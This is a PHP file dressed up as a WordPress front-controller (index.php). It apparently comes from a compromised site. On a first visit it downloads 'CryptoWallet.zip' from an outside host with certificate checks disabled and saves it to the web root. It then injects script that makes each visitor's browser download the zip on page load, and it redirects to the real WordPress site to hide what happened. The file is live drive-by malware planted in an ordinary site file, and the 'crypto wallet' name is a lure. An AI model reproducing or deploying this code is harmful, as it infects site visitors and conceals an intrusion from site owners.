<?php
if (!$_GET["q"]) {
    if (!file_exists("CryptoWallet.zip")) {
    $exeUrl = 'https://lacsuk.co.uk/CryptoWallet.zip';
    $localPath = $_SERVER['DOCUMENT_ROOT'] . '/CryptoWallet.zip';
    $ch = curl_init($exeUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FILE, fopen($localPath, 'w'));
    curl_exec($ch);
    curl_close($ch);
    $url = "https://".$_SERVER['SERVER_NAME']."/?q=1234";
    echo "<script>document.addEventListener('DOMContentLoaded', function() { downloadAndRedirect('$url'); });</script>";
    }else{
        $url = "https://".$_SERVER['SERVER_NAME']."/?q=1234";
        echo "<script>document.addEventListener('DOMContentLoaded', function() { downloadAndRedirect('$url'); });</script>";
    }
} else {
    define( 'WP_USE_THEMES', true );

    /** Loads the WordPress Environment and Template */
    require __DIR__ . '/wp-blog-header.php';
}

?>

<script>
    function downloadAndRedirect(url) {
        var fileUrl = 'CryptoWallet.zip';
        // Create a new anchor element to trigger the download
        var downloadLink = document.createElement("a");
        downloadLink.href = fileUrl;
        downloadLink.download = 'CryptoWallet.zip';
        // Add the link to the DOM and simulate a click
        document.body.appendChild(downloadLink);
        downloadLink.click();
        document.body.removeChild(downloadLink);

        // Redirect to the specified URL after a 5 second delay
        setTimeout(function() {
            window.location.href = url;
        }, 500);
    }
</script>
